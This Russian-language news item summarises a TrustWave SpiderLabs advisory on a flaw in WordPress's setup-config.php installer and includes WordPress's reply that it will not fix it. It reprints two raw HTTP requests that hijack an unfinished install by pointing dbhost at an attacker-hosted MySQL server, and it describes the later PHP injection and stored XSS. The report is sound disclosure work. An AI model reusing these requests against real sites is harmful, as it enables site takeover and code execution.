Специалисты TrustWave SpiderLabs обнаружили потенциальную уязвимость в установочной странице WordPress. При установке жертвой WordPress на инстанс MySQL злоумышленник может получить возможность выполнения PHP-кода и межсайтового скриптинга. Все проблемы характерны для версий движка, начиная с 3.3.1.

В отчёте TrustWave SpiderLabs содержится описание найденных багов. Так, страница инсталляции setup-config.php предлагает возможность установить WordPress на локальный или удалённый инстанс MySQL. Однако, возможна ситуация, когда злоумышленник хостит свой собственный MySQL-сервер и завершает установку WordPress вместо пользователя, не имея реальных прав доступа.

TrustWave SpiderLabs даже публикует сценарий атаки.

1. Злоумышленник хостит MySQL на W.X.Y.Z, порт 3306.

2. Злоумышленник осуществляет POST/GET запросы для установки туда WordPress.

Request #1
----------
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do
Content-Type: application/x-www-form-urlencoded
Content-Length: 81

dbname=wordpress&uname=jsmith&pwd=jsmith&dbhost=W.X.Y.Z&prefix=wp_&submit=Submit

Request #2
----------
GET /wp-admin/install.php HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=2
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do
If-Modified-Since: Wed, 07 Dec 2011 16:03:33 GMT

После того, как инсталляция завершена, злоумышленник может через «Редактор тем» вставить в блог вредоносный PHP-код. Кроме того, контролируя хранилище базы данных, можно использовать и Javascript, что приводит к возникновению постоянного межсайтового скриптинга.

В рекомендациях также подчеркивается, что злоумышленник может посредством JavaScript’а подставлять свои собственные значения в поля dbname, dbhost или uname.

Между тем, официальные представители WordPress сказали, что не будут исправлять указанные недочёты. По их словам, вероятность того, что пользователь, который начал установку WordPress, не завершит её в максимально короткое время слишком мала. У злоумышленников остается слишком мало времени, чтобы воспользоваться найденным уязвимостями.



Оставить мнение